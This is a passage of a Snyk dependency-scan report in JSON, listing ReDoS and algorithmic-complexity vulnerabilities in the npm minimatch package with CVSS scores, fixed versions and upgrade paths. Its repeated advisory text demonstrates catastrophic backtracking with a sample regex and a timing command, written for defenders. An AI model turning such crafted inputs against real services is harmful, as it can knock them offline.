attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service 